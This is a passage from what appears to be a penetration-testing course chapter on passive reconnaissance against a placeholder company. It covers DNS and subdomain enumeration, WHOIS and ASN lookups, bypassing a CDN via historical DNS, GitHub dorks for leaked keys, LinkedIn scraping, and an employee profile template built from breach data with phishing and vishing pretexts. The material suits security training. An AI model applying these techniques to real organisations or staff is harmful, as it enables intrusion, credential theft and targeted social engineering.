ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.targetco.com -v

# Using gobuster for DNS enumeration
gobuster dns -d targetco.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

# Using amass (passive mode — no active queries)
amass enum -passive -d targetco.com

# Using amass (active mode)
amass enum -active -d targetco.com -brute

Common Subdomain Wordlists:

SecLists (/usr/share/seclists/Discovery/DNS/) — The de-facto standard
subdomains-top1million-5000.txt — Fast, covers most common subdomains
subdomains-top1million-110000.txt — Comprehensive
dns-Jhaddix.txt — Curated by renowned bug bounty hunter Jason Haddix

DNS History and Passive DNS

Historical DNS records reveal:

Previous IP addresses (before migration to cloud/CDN)
Past subdomain configurations
Infrastructure changes over time

Tools for DNS history:

Tool	URL	What it Shows
SecurityTrails	https://securitytrails.com	Complete DNS history, subdomains, IP history
DNSHistory.io	https://dnshistory.org	Historical DNS records
ViewDNS.info	https://viewdns.info	DNS history, reverse IP, IP history
PassiveDNS (Farsight DNSDB)	https://www.farsightsecurity.com	Passive DNS database (enterprise)
RiskIQ Community	https://community.riskiq.com	Passive DNS, certificate history

Why DNS history matters:

Organizations that move from direct hosting to CDN (e.g., Cloudflare) often have their real IP address in DNS history before the move. The CDN hides the real IP in current DNS, but historical records expose it:

Current A record: targetco.com → 104.21.x.x (Cloudflare IP — not the real server)
Historical DNS:   targetco.com → 203.0.113.50 (Real origin server, now bypasses CDN)

Direct access to the origin IP bypasses:

Web Application Firewall (WAF)
DDoS protection
Rate limiting
Bot detection

3.1.7 Identification of Technical and Administrative Contacts

Technical and administrative contacts are directly relevant to penetration testing because:

They are the people who manage the systems being tested
Their contact information enables social engineering pretext construction
Their email addresses are high-value targets for credential phishing
Their technical roles revealed through public profiles expose technologies in use

WHOIS Contact Records

WHOIS records for domain registrations contain:

Registrant contact: The entity (person or organization) that owns the domain
Administrative contact: The person responsible for administrative matters
Technical contact: The person responsible for technical management

whois targetco.com

# Output (pre-GDPR, or for non-privacy-protected registrations)
Domain Name: TARGETCO.COM
Registry Domain ID: 1234567890_DOMAIN_COM-VRSN
Registrar: GoDaddy.com, LLC

Registrant Name: John Smith
Registrant Organization: Target Company Inc.
Registrant Street: 123 Corporate Drive
Registrant City: San Francisco
Registrant State/Province: CA
Registrant Postal Code: 94105
Registrant Country: US
Registrant Phone: +1.4155551234
Registrant Email: john.smith@targetco.com

Admin Name: Jane Doe
Admin Email: it-admin@targetco.com

Tech Name: Bob Johnson
Tech Email: dns-admin@targetco.com

Name Server: NS1.TARGETCO.COM
Name Server: NS2.TARGETCO.COM

DNSSEC: unsigned

Intelligence extracted:

Physical address (useful for physical penetration testing, social engineering)
Direct email addresses of three named individuals
Registrar (GoDaddy — relevant for domain hijacking attack surface)
DNSSEC status (unsigned → no DNSSEC protection → DNS hijacking more feasible)
Name servers hosting their own DNS (ns1.targetco.com → own DNS infrastructure)

GDPR Impact on WHOIS:

Since GDPR came into force (May 2018), most domain registrars have redacted personal information from public WHOIS for .com, .net, .org, and other gTLDs for registrants in the EU. This has significantly reduced the intelligence value of WHOIS for many domains. However:

Country-code TLDs (ccTLDs) like .uk, .au, .ca have varying GDPR compliance
US-based organizations often still have exposed WHOIS data
WHOIS history tools (SecurityTrails, DomainTools) may have pre-GDPR records
Whois for IP ranges (ARIN, RIPE, APNIC) is less affected by GDPR

WHOIS for IP Ranges:

Organizational IP ranges are registered with Regional Internet Registries (RIRs):

RIR	Region	Website
ARIN	North America	https://search.arin.net
RIPE NCC	Europe, Middle East, Central Asia	https://apps.db.ripe.net
APNIC	Asia-Pacific	https://wq.apnic.net
LACNIC	Latin America, Caribbean	https://lacnic.net
AFRINIC	Africa	https://afrinic.net

# IP WHOIS lookup
whois 203.0.113.50

# Response
NetRange: 203.0.113.0 - 203.0.113.255
CIDR: 203.0.113.0/24
NetName: TARGETCO-NET
NetHandle: NET-203-0-113-0-1
Parent: (NET-203-0-0-0-1)
NetType: Direct Assignment
Organization: Target Company Inc. (TCI-12)
OrgName: Target Company Inc.
OrgId: TCI-12
Address: 123 Corporate Drive
City: San Francisco
StateProv: CA
PostalCode: 94105
Country: US
OrgAbuseEmail: abuse@targetco.com
OrgTechEmail: noc@targetco.com

This reveals the organization's full IP range, enabling systematic scanning of all their registered IPs, and exposes NOC (Network Operations Center) and abuse contact emails — technical staff.

BGP Intelligence — Autonomous System Numbers

Large organizations own their own IP routing infrastructure, identified by an Autonomous System Number (ASN).

# Find ASN for organization
whois -h whois.bgp.he.net targetco.com

# Query BGP routing data
# https://bgp.he.net  ← Hurricane Electric BGP Toolkit
# https://bgpview.io  ← Visual BGP explorer

# Tool: asnmap
asnmap -a AS12345      # Get all IPs for an ASN
asnmap -org "Target Company"   # Find ASN by org name

Why ASN intelligence matters:

An organization's ASN reveals their entire IPv4 and IPv6 address space — every IP range they legitimately own globally. This is the most comprehensive method of identifying all the organization's Internet-facing IP space.

3.1.8 WHOIS Intelligence — Extracting Maximum Value

Beyond the basic contact information, WHOIS data contains several additional intelligence dimensions:

Domain Portfolio Discovery

Organizations typically own multiple domains — the primary domain, branded product domains, defensive registrations, and regional variations.

Reverse WHOIS: Finding all domains registered by the same registrant:

# Using DomainTools (commercial)
# Search by registrant email, name, or organization

# Using ViewDNS.info (free)
# https://viewdns.info/reversewhois/

# Using SecurityTrails
# https://securitytrails.com/list/registrant_email/it-admin@targetco.com

This can reveal:

Unreleased product domains
Acquisition targets (domains registered for companies being acquired)
Internal project names
Regional subsidiaries

Registrar Security Analysis

The domain registrar is a critical attack surface. Registrar account compromise enables:

DNS hijacking (changing NS records to attacker-controlled servers)
Domain transfer to attacker control
WHOIS email change (enabling password reset attacks on services)

Indicators of registrar security posture:

Registrar reputation (GoDaddy, Namecheap vs. enterprise registrars like MarkMonitor)
DNSSEC enabled (protects against certain DNS attacks)
Registrar lock status (prevents unauthorized transfers)
Privacy protection status

3.1.9 DNS Lookups — Lab-Level Practical Reference

This section provides a comprehensive, hands-on reference for DNS reconnaissance commands and workflows as used in professional lab environments.

Essential DNS Tools

dig (Domain Information Groper)

The primary command-line DNS tool. Highly flexible and returns detailed information.

# Basic A record lookup
dig targetco.com

# Specific record type
dig targetco.com MX
dig targetco.com NS
dig targetco.com TXT
dig targetco.com AAAA
dig targetco.com SOA
dig targetco.com CAA
dig targetco.com SRV

# Short output (answer only)
dig targetco.com +short

# All records (equivalent to ANY — not all servers honor this)
dig targetco.com ANY

# Trace the complete resolution path
dig targetco.com +trace

# Reverse lookup
dig -x 203.0.113.50

# Query a specific DNS server
dig @8.8.8.8 targetco.com        # Use Google's DNS
dig @1.1.1.1 targetco.com        # Use Cloudflare's DNS
dig @ns1.targetco.com targetco.com  # Query target's own nameserver

# Zone transfer attempt
dig axfr targetco.com @ns1.targetco.com

# DNS over HTTPS (bypasses local DNS filtering)
dig targetco.com @https://cloudflare-dns.com/dns-query

# DNSSEC verification
dig targetco.com +dnssec

nslookup

Simpler DNS tool, available on Windows and Linux.

# Basic lookup
nslookup targetco.com

# Specific record type
nslookup -type=MX targetco.com
nslookup -type=NS targetco.com
nslookup -type=TXT targetco.com
nslookup -type=ANY targetco.com

# Query specific server
nslookup targetco.com 8.8.8.8

# Interactive mode for zone transfer
nslookup
> server ns1.targetco.com
> set type=any
> targetco.com
> ls -d targetco.com   # Zone transfer in interactive mode

host

Simple, clean DNS lookup tool.

host targetco.com
host -t MX targetco.com
host -t NS targetco.com
host -a targetco.com    # All records
host 203.0.113.50       # Reverse lookup

DNS Reconnaissance Workflow — Complete Lab Procedure

#!/bin/bash
# Professional DNS Reconnaissance Script
DOMAIN="targetco.com"
OUTPUT_DIR="/tmp/dns_recon_${DOMAIN}"
mkdir -p $OUTPUT_DIR

echo "=== DNS RECONNAISSANCE: $DOMAIN ===" | tee $OUTPUT_DIR/summary.txt

# 1. Identify nameservers
echo "[*] Nameservers:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN NS +short | tee $OUTPUT_DIR/nameservers.txt

# 2. SOA record (admin email)
echo "[*] SOA Record:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN SOA +short | tee $OUTPUT_DIR/soa.txt

# 3. A records
echo "[*] A Records:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN A +short | tee $OUTPUT_DIR/a_records.txt

# 4. MX records (email infrastructure)
echo "[*] MX Records:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN MX +short | tee $OUTPUT_DIR/mx_records.txt

# 5. TXT records (SPF, DMARC, verification tokens)
echo "[*] TXT Records:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN TXT +short | tee $OUTPUT_DIR/txt_records.txt

# 6. DMARC policy
echo "[*] DMARC:" | tee -a $OUTPUT_DIR/summary.txt
dig _dmarc.$DOMAIN TXT +short | tee $OUTPUT_DIR/dmarc.txt

# 7. DKIM (try common selectors)
for selector in default google mail k1 selector1 selector2; do
    result=$(dig ${selector}._domainkey.$DOMAIN TXT +short)
    if [ ! -z "$result" ]; then
        echo "[*] DKIM Selector: $selector" | tee -a $OUTPUT_DIR/summary.txt
        echo "$result" | tee -a $OUTPUT_DIR/dkim.txt
    fi
done

# 8. Zone transfer attempts
echo "[*] Attempting zone transfers..." | tee -a $OUTPUT_DIR/summary.txt
while read ns; do
    echo "[*] Trying AXFR from $ns..." | tee -a $OUTPUT_DIR/summary.txt
    dig axfr $DOMAIN @$ns | tee $OUTPUT_DIR/axfr_${ns}.txt
done < $OUTPUT_DIR/nameservers.txt

# 9. IPv6
echo "[*] AAAA Records:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN AAAA +short | tee $OUTPUT_DIR/aaaa_records.txt

# 10. CAA
echo "[*] CAA Records:" | tee -a $OUTPUT_DIR/summary.txt
dig $DOMAIN CAA +short | tee $OUTPUT_DIR/caa.txt

echo "[*] DNS Reconnaissance Complete. Results in $OUTPUT_DIR"

Online DNS Reconnaissance Tools

Tool	URL	Best For
DNSDumpster	https://dnsdumpster.com	Visual DNS map, subdomains, MX, TXT
SecurityTrails	https://securitytrails.com	DNS history, all record types
MXToolbox	https://mxtoolbox.com	Email infrastructure, MX, SPF, DMARC analysis
DNSlytics	https://dnslytics.com	Reverse DNS, related domains
ViewDNS.info	https://viewdns.info	Comprehensive DNS tools
IntoDNS	https://intodns.com	DNS health check and misconfiguration detection
DMARC Inspector	https://dmarcian.com/dmarc-inspector/	DMARC policy analysis
MXToolbox DKIM Checker	https://mxtoolbox.com/dkim.aspx	DKIM record analysis
ARIN	https://search.arin.net	IP WHOIS, ASN lookups
BGP.he.net	https://bgp.he.net	BGP routing, ASN details

3.1.10 Cloud vs. Self-Hosted Applications and Related Subdomains

Modern organizations rarely run entirely self-hosted infrastructure. Understanding the distinction between cloud-hosted and self-hosted assets dramatically affects the penetration testing approach, authorization requirements, and vulnerability surface.

Identifying Cloud-Hosted Infrastructure

Method 1: DNS CNAME Analysis

CNAME records pointing to cloud provider domains are the clearest indicator of cloud hosting:

CNAME Destination	Cloud Service
`*.cloudfront.net`	AWS CloudFront CDN
`*.awsglobalaccelerator.com`	AWS Global Accelerator
`*.elasticbeanstalk.com`	AWS Elastic Beanstalk
`*.s3.amazonaws.com`	AWS S3
`.s3-website-.amazonaws.com`	AWS S3 Static Website
`*.azurewebsites.net`	Azure App Service
`*.azurefd.net`	Azure Front Door
`*.blob.core.windows.net`	Azure Blob Storage
`*.trafficmanager.net`	Azure Traffic Manager
`*.appspot.com`	Google App Engine
`*.run.app`	Google Cloud Run
`*.cloudfunctions.net`	Google Cloud Functions
`*.storage.googleapis.com`	Google Cloud Storage
`.herokussl.com` / `.herokudns.com`	Heroku
`*.netlify.app`	Netlify
`*.vercel.app`	Vercel
`*.github.io`	GitHub Pages
`*.pages.dev`	Cloudflare Pages
`*.fastly.net`	Fastly CDN
`*.edgekey.net`	Akamai
`*.cdn.cloudflare.net`	Cloudflare CDN

Method 2: IP Range Identification

Cloud providers publish their IP ranges. Identifying that a target IP belongs to a cloud provider IP range reveals cloud hosting:

AWS IP ranges: https://ip-ranges.amazonaws.com/ip-ranges.json
Azure IP ranges: https://download.microsoft.com/download/7/1/D/71D86715-5596-4529-9B13-DA13A5DE5B63/ServiceTags_Public.json
GCP IP ranges: https://cloud.google.com/compute/docs/faq#find_ip_range
Cloudflare IP ranges: https://cloudflare.com/ips/

# Check if IP belongs to AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
target_ip = '203.0.113.50'
for prefix in data['prefixes']:
    import ipaddress
    if ipaddress.ip_address(target_ip) in ipaddress.ip_network(prefix['ip_prefix']):
        print(f'AWS Region: {prefix[\"region\"]}, Service: {prefix[\"service\"]}')
"

Method 3: HTTP Response Headers

HTTP headers often reveal cloud provider and CDN usage:

curl -I https://www.targetco.com

# Headers revealing cloud services:
# X-Amz-Cf-Id: → CloudFront
# CF-Ray: → Cloudflare
# X-Azure-Ref: → Azure Front Door
# X-GUploader-UploadID: → Google Cloud Storage
# X-Served-By: cache-... → Fastly
# Via: 1.1 akamai → Akamai
# Server: AmazonS3 → AWS S3
# X-Powered-By: Express on Google Cloud → GCP

Subdomain Enumeration — Professional Techniques

Subdomain discovery is one of the highest-value activities in passive reconnaissance. Modern enterprise organizations have hundreds or thousands of subdomains, many of which are forgotten, unmanaged, or running legacy software.

Certificate Transparency (CT) Logs:

Every SSL/TLS certificate issued by a trusted CA is logged to public Certificate Transparency logs. These logs contain the domain names (including subdomains) in every certificate issued.

# crt.sh — The primary CT log search interface
curl 'https://crt.sh/?q=%.targetco.com&output=json' | \
python3 -c "import json,sys; [print(e['name_value']) for e in json.load(sys.stdin)]" | \
sort -u

# Subfinder — Comprehensive passive subdomain discovery
subfinder -d targetco.com -all -recursive

# Amass — Comprehensive subdomain enumeration
amass enum -passive -d targetco.com
amass enum -active -d targetco.com

# assetfinder — Fast, focused subdomain discovery
assetfinder targetco.com

# chaos — Project Discovery's subdomain database
chaos -d targetco.com

Why CT logs are the most valuable passive subdomain source:

Cover all publicly trusted SSL certificates since approximately 2013
Include certificates for subdomains that may no longer resolve (revealing historical infrastructure)
Include wildcard certificates (*.targetco.com) that hint at dynamic subdomain usage
Include certificates for internal systems that accidentally got public certs
Are 100% passive — no interaction with the target

Subdomain Takeover:

Subdomain takeover is a vulnerability where a subdomain's DNS record points to a third-party service that is no longer configured for that subdomain, allowing an attacker to claim the subdomain.

DNS: dev.targetco.com → CNAME → targetco.herokuapp.com (Heroku)
If targetco has cancelled their Heroku account, targetco.herokuapp.com is unclaimed.
Attacker creates a Heroku app at targetco.herokuapp.com
Attacker now controls dev.targetco.com

This enables:

Serving malicious content under the target's legitimate domain
Stealing cookies scoped to *.targetco.com
Bypassing Content Security Policy (CSP)
Credential phishing under a trusted domain

# Check for subdomain takeover vulnerabilities
subjack -w discovered_subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
nuclei -l discovered_subdomains.txt -t takeovers/

Cloud-Specific Subdomain Intelligence:

AWS S3 Buckets:
S3 bucket names in URLs often follow predictable patterns:

https://targetco-assets.s3.amazonaws.com
https://s3.amazonaws.com/targetco-backups
https://targetco.s3-website-us-east-1.amazonaws.com

Tools for S3 bucket discovery:

# S3Scanner
s3scanner scan --bucket targetco
s3scanner scan --bucket-file probable_bucket_names.txt

# AWS CLI (if credentials available)
aws s3 ls s3://targetco-assets --no-sign-request

# lazys3
ruby lazys3.rb targetco

Common bucket misconfigurations:

Public read access (anyone can list and download files)
Public write access (anyone can upload — potential for malicious content)
Exposed bucket policy showing other IAM principals with access

3.1.11 Social Media Scraping

Social media is one of the most underestimated intelligence sources in professional penetration testing. Employees voluntarily and publicly disclose enormous amounts of information relevant to security assessments.

LinkedIn — The Primary Corporate Intelligence Source

LinkedIn is the most valuable social media platform for penetration testing reconnaissance because it is specifically designed for professional networking and intentionally exposes professional information.

Intelligence Categories from LinkedIn:

1. Employee Enumeration

Search: "Target Company Inc" employees
Result: 847 employees found

Filter by:
- Department: Information Technology (reveals IT staff count and roles)
- Location (reveals office locations)
- Seniority: Entry Level / Associate (reveals junior staff who may be social engineering targets)

High-value employee targets:

IT administrators (system access)
Developers (code access, internal tools)
Security team members (defenses, tools in use)
C-suite executives (high-credibility email targets)
Finance staff (wire transfer fraud targets)
Receptionists and administrative staff (physical access social engineering)
Help desk staff (password reset social engineering)

2. Technology Stack Discovery from Job Listings

Job postings are extraordinarily revealing because they list exactly what technologies are in use:

Job Title: Senior DevOps Engineer at Target Company

Requirements:
• 5+ years experience with AWS (EC2, EKS, RDS, S3, Lambda, VPC, CloudWatch)
• Strong proficiency with Terraform for infrastructure as code
• Experience with Kubernetes and Helm chart deployment
• Familiarity with CI/CD pipelines (Jenkins, GitLab CI, or CircleCI)
• HashiCorp Vault for secrets management
• Elasticsearch, Kibana, and Logstash (ELK stack) for log management
• Experience with Prometheus and Grafana for monitoring
• PostgreSQL and Redis database management
• Proficiency with Docker containerization

This single job listing reveals:

Cloud: AWS (with specific services identified)
IaC: Terraform
Container orchestration: Kubernetes + Helm
CI/CD: Jenkins, GitLab CI, or CircleCI
Secrets management: HashiCorp Vault
Logging: ELK stack
Monitoring: Prometheus + Grafana
Databases: PostgreSQL + Redis
Containerization: Docker

Every one of these technologies has known vulnerabilities and misconfigurations that can be specifically targeted.

3. Individual Employee Profile Intelligence

John Smith — Senior Network Engineer, Target Company Inc.

Current: "Leading network security initiative migrating from on-prem Cisco ASA 
         firewalls to Palo Alto NGFW with Panorama management. Also managing 
         our SD-WAN deployment with VMware VeloCloud."

Skills: Cisco ASA, Palo Alto Networks, Panorama, SD-WAN, VeloCloud, 
        BGP, OSPF, MPLS, Wireshark, SolarWinds

"Excited to be presenting at Cisco Live 2024 on our journey to 
SD-WAN! Our office locations in San Francisco, Austin, and London 
are all now connected."

This single profile reveals:

Firewall technology (Cisco ASA → Palo Alto NGFW transition in progress)
Specific management platform (Panorama)
SD-WAN vendor (VMware VeloCloud)
All office locations (San Francisco, Austin, London)
Network protocols in use (BGP, OSPF, MPLS)
Monitoring tools (SolarWinds)
The engineer's real name and potentially their email address

LinkedIn Search Techniques:

# Site-specific Google searches for LinkedIn
site:linkedin.com/in "Target Company" "network engineer"
site:linkedin.com/in "Target Company" "security"
site:linkedin.com/in "Target Company" "developer"
site:linkedin.com/in "Target Company" "IT manager"

# LinkedIn Sales Navigator (premium) — most powerful
# Full employee lists, contact info, organizational charts

LinkedIn Reconnaissance Tools:

# LinkedInt — LinkedIn intelligence gathering
python LinkedInt.py -u your_linkedin_account -p password -k "Target Company"

# CrossLinked — Employee enumeration via LinkedIn
python crosslinked.py -f '{first}.{last}@targetco.com' "Target Company"
# This both finds employee names AND constructs likely email addresses

# linkedin2username — Generate username lists from LinkedIn scraping
python linkedin2username.py -c "Target Company" -u your_account -p password

Twitter / X Intelligence

Twitter (X) provides real-time organizational intelligence:

What employees tweet about:

Technology outages ("our Splunk is down again...")
Security incidents ("just blocked a phishing campaign targeting @targetco")
New technology deployments ("just pushed our first workload to AWS!")
Company news and events
Personal information (vacation dates → reduced staffing)
Conference attendance (away from office)
Complaints about internal tools (revealing technology names)

# Twitter OSINT tools
twint -u johndoe_sysadmin --tweets  # Scrape all tweets without API
twint -s "targetco.com" --lang en   # Search tweets mentioning the target
twint -u johndoe_sysadmin -o output.json --json

# Advanced Twitter search operators
site:twitter.com "Target Company" security breach
site:twitter.com "targetco.com" password

GitHub and Code Repository Intelligence

GitHub is one of the highest-value passive recon sources for technical intelligence. Developers commit sensitive information to public repositories constantly.

What to search for on GitHub:

# GitHub Search — most powerful passive recon tool for technical data

# Organization-specific searches
site:github.com "targetco.com"
site:github.com "targetco" "password"
site:github.com "targetco" "api_key"
site:github.com "targetco" "secret"
site:github.com "targetco" "internal"

# GitHub native search
org:targetco                           # All repos in org
org:targetco filename:.env             # .env files (credentials)
org:targetco "BEGIN RSA PRIVATE KEY"  # Private keys
org:targetco "AKIA"                    # AWS Access Key IDs (start with AKIA)
org:targetco "mongodb://",            # Database connection strings
org:targetco "postgresql://",
org:targetco "mysql://"

# GitHub Dorks (search patterns for sensitive data)
"targetco.com" password
"targetco.com" secret
"targetco.com" token
"targetco.com" api_key
"targetco.com" private_key
"@targetco.com" password

GitHub OSINT Tools:

# truffleHog — Searches git history for secrets
trufflehog github --org targetco --json

# GitLeaks — Audit git repos for secrets
gitleaks detect --source /path/to/cloned/repo -v

# Gitrob — Reconnaissance on GitHub organizations
gitrob analyze targetco

# git-secrets — Prevent credential commits (defensive, but reveals what to look for)

What developers accidentally commit:

Sensitive Data Type	Example
AWS credentials	`AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`
API keys	`stripe_key = "------------------------"`
Database credentials	`DB_PASS=Production_P@ssw0rd_2024`
Private SSH keys	`-----BEGIN RSA PRIVATE KEY-----`
SSL private keys	`-----BEGIN PRIVATE KEY-----`
OAuth tokens	`-------------------------`
JWT secrets	`--------------------------`
Internal IP addresses	Connection strings with internal IPs
Cloud configuration files	Terraform state files with resource details

3.1.12 Employee Intelligence Gathering

Employee intelligence gathering synthesizes social media, professional profiles, breach data, and public records to build detailed profiles of target organization personnel.

Building the Target Employee Profile

For each high-value employee target, a professional assessment builds:

The Target Profile Template:

Employee Profile: John Smith
===========================
Current Role: Senior Systems Administrator, Target Company Inc.
LinkedIn: linkedin.com/in/john-smith-sysadmin
Twitter: @jsmith_sysadmin

Contact Information:
- Work email: j.smith@targetco.com (derived from email format)
- Personal email: johnsmith1982@gmail.com (from breach data)
- Phone: +1-415-555-1234 (from conference registration, LinkedIn)

Technical Skills (from LinkedIn, GitHub, job listings):
- Windows Server 2016/2019/2022
- Active Directory, Group Policy, SCCM
- VMware vSphere 7.0
- PowerShell scripting
- Backup: Veeam

Personal Information (for social engineering pretext):
- Alma mater: University of California, Berkeley (from LinkedIn)
- Previous employer: CloudBase Inc. (from LinkedIn)
- Hobbies: cycling, homebrewing (from Twitter)
- Location: San Francisco, CA

Exposure Assessment:
- Appears in 3 data breaches (HaveIBeenPwned): LinkedIn breach, Adobe breach, Tumblr breach
- Leaked password hash (LinkedIn 2012 breach): "LinkedInPasswordHash"
- Password reuse risk: HIGH (common for accounts 10+ years old)

Social Engineering Attack Vectors:
1. IT Help Desk impersonation: "Hi John, this is Sarah from the IT help desk..."
2. Vendor impersonation: "Hi, this is VMware support calling about your license renewal..."
3. Password reset phishing: Custom email targeting @targetco.com with realistic IT branding
4. Vishing (voice phishing): Calling directly using work context established from LinkedIn

Email Address Format Discovery

Before email addresses can be used in social engineering or checked against breach databases, the organization's email format must be determined.

Method 1: Hunter.io

# Hunter.io API
curl "https://api.hunter.io/v2/domain-search?domain=targetco.com&api_key=YOUR_KEY"

# Response
{
  "data": {
    "domain": "targetco.com",
    "organization": "Target Company Inc.",
    "pattern": "{first}.{last}",    ← EMAIL FORMAT DISCOVERED
    "emails": [
      {"value": "john.smith@targetco.com", "type": "personal"},
      {"value": "jane.doe@targetco.com", "type": "personal"},
      {"value": "security@targetco.com", "type": "generic"}
    ]
  }
}

Common email formats:

Format	Example
`{first}.{last}@domain.com`	john.smith@targetco.com
`{first}{last}@domain.com`	johnsmith@targetco.com
`{f}{last}@domain.com`	jsmith@targetco.com
`{first}_{last}@domain.com`	john_smith@targetco.com
`{first}@domain.com`	john@targetco.com
`{last}{first}@domain.com`	smithjohn@targetco.com
`{f}.{last}@domain.com`	j.smith@targetco.com

Method 2: Email Format from Found Addresses

If even one employee's email is confirmed (from a breach database, email header, or other source), the format is revealed and can be applied to all other employee names.

Method 3: CrossLinked

# CrossLinked: scrapes LinkedIn employees and generates email addresses
python3 crosslinked.py -f '{first}.{last}@targetco.com' "Target Company"
# Outputs: john.smith@targetco.com, jane.doe@targetco.com, etc.

Method 4: Email Verification

Discovered email addresses can be verified (without sending an email) by:

# smtp-user-enum — Verifies email existence via SMTP
smtp-user-enum -M VRFY -U users.txt -t mail.targetco.com
smtp-user-enum -M EXPN -U users.txt -t mail.targetco.com
smtp-user-enum -M RCPT -U users.txt -t mail.targetco.com

# Note: VRFY and EXPN are often disabled on modern mail servers for security

3.1.13 Cryptographic Flaws

Cryptographic weaknesses discovered during passive reconnaissance provide direct attack vectors during the active exploitation phase. Understanding cryptographic flaws at a senior level requires deep knowledge of both the theoretical weaknesses and the practical exploitation techniques.

Why Cryptographic Analysis Belongs in Passive Reconnaissance

Passive reconnaissance can reveal cryptographic weaknesses without touching the target:

SSL/TLS certificate details are publicly visible
Certificate Transparency logs reveal certificate history
SSL test services (SSL Labs) provide detailed analysis of TLS configurations
DNS DMARC and DKIM records reveal email cryptographic configuration

SSL/TLS Protocol Weaknesses

Protocol Version Vulnerabilities:

Protocol	Version	Status	Known Attacks
SSL 2.0	Ancient	PROHIBITED	DROWN, complete deprecation
SSL 3.0	Ancient	PROHIBITED	POODLE
TLS 1.0	RFC 2246 (1999)	DEPRECATED	BEAST, POODLE (in CBC mode)
TLS 1.1	RFC 4346 (2006)	DEPRECATED	BEAST (partial)
TLS 1.2	RFC 5246 (2008)	CURRENT	Various cipher suite weaknesses
TLS 1.3	RFC 8446 (2018)	RECOMMENDED	No known practical attacks

TLS 1.0 and 1.1 Deprecation:

The IETF formally deprecated TLS 1.0 and TLS 1.1 in RFC 8996 (March 2021)
PCI DSS v3.2+ requires disabling TLS 1.0 for all in-scope systems
NIST SP 800-52 Rev 2 prohibits TLS 1.0 and 1.1 for federal systems
Finding TLS 1.0 or 1.1 support is a compliance finding in addition to a technical vulnerability

Cipher Suite Weaknesses:

A cipher suite specifies the algorithms used for key exchange, authentication, encryption, and integrity checking. Weak cipher suites are a common finding.

Cipher Suite Format:

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
 │    │     │      │        │       │
 │    │     │      │        │       └── MAC/PRF algorithm (SHA384)
 │    │     │      │        └── Cipher mode (GCM = authenticated)
 │    │     │      └── Encryption algorithm and key size (AES-256)
 │    │     └── Authentication algorithm (RSA)
 │    └── Key exchange algorithm (ECDHE = Elliptic Curve Diffie-Hellman Ephemeral)
 └── Protocol

Weak/Deprecated Cipher Suites:

Cipher Suite Issue	Specific Problem	Attack
NULL cipher	No encryption	Plaintext exposure
EXPORT ciphers	Deliberately weakened (40-56 bit)	FREAK, LOGJAM
RC4	Stream cipher with statistical biases	RC4 NOMORE
DES/3DES	56-bit DES key, 112-bit 3DES	SWEET32
RSA key exchange (no forward secrecy)	Static key exchange	Historical traffic decryption if key compromised
MD5 for signatures	Collision vulnerabilities	Certificate forgery
SHA1 for signatures	Collision vulnerabilities	SHAttered
Anonymous DH (aDH/aNULL)	No server authentication	MitM

Forward Secrecy (Perfect Forward Secrecy — PFS):

Forward secrecy means that session keys are not compromised even if the server's long-term private key is compromised. It is provided by Ephemeral key exchange algorithms:

ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) — Preferred
DHE (Diffie-Hellman Ephemeral) — Acceptable, but slower than ECDHE
RSA key exchange — No forward secrecy (static keys)

Identification of TLS weaknesses during passive recon:

# SSL Labs — Most comprehensive TLS analysis (passive — uses their servers)
# https://www.ssllabs.com/ssltest/analyze.html?d=targetco.com

# testssl.sh — Active tool but usable against own infrastructure
testssl.sh --full targetco.com

# sslscan — Active scanning tool
sslscan targetco.com

# nmap TLS scripts (active)
nmap --script ssl-enum-ciphers -p 443 targetco.com
nmap --script ssl-dh-params -p 443 targetco.com

# Check for HSTS
curl -I https://targetco.com | grep -i strict

Major TLS Vulnerabilities — Professional Reference

POODLE — Padding Oracle On Downgraded Legacy Encryption

CVE: CVE-2014-3566
Affects: SSL 3.0 (original POODLE), TLS 1.0/1.1 (POODLE TLS variant)
Mechanism: Exploits CBC padding oracle in SSL 3.0 to decrypt sessions
Impact: Decryption of encrypted HTTP cookies, potentially exposing session tokens
Mitigation: Disable SSL 3.0 and TLS 1.0; use TLS 1.2+ with authenticated encryption modes

BEAST — Browser Exploit Against SSL/TLS

CVE: CVE-2011-3389
Affects: TLS 1.0 using CBC mode cipher suites
Mechanism: Exploits a predictable IV (Initialization Vector) in TLS 1.0 CBC mode
Impact: Potential decryption of HTTPS traffic
Mitigation: TLS 1.2+ with AEAD ciphers (GCM mode); or RC4 (itself now deprecated)

HEARTBLEED

CVE: CVE-2014-0160
Affects: OpenSSL 1.0.1 through 1.0.1f
Mechanism: Buffer over-read in the HeartBeat extension — allows reading 64KB of server memory per request
Impact: Exposure of private keys, session tokens, passwords from server memory
Mitigation: Upgrade to OpenSSL 1.0.1g or later; revoke and reissue all certificates

# Check for Heartbleed (active)
nmap --script ssl-heartbleed -p 443 targetco.com

FREAK — Factoring RSA Export Keys

CVE: CVE-2015-0204
Affects: Servers supporting RSA EXPORT cipher suites (FREAK)
Mechanism: Client can be forced to use deliberately weakened 512-bit export RSA keys, which can be factored
Impact: Full session decryption via man-in-the-middle
Mitigation: Disable all EXPORT cipher suites

LOGJAM

CVE: CVE-2015-4000
Affects: Servers supporting DHE EXPORT cipher suites (512-bit DH)
Mechanism: Similar to FREAK but targeting Diffie-Hellman
Impact: Downgrade to weak DH parameters, enabling session decryption
Mitigation: Disable DHE EXPORT; use 2048-bit+ DH parameters or ECDHE

DROWN — Decrypting RSA with Obsolete and Weakened eNcryption

CVE: CVE-2016-0800
Affects: Any server sharing an RSA private key with a server that supports SSL 2.0
Mechanism: Uses SSL 2.0 vulnerabilities to decrypt TLS sessions
Impact: Decryption of TLS sessions for affected servers
Mitigation: Disable SSL 2.0 on all servers sharing a private key

SWEET32 — Birthday Attacks on 64-bit Block Ciphers

CVE: CVE-2016-2183
Affects: 3DES (64-bit block cipher) in TLS
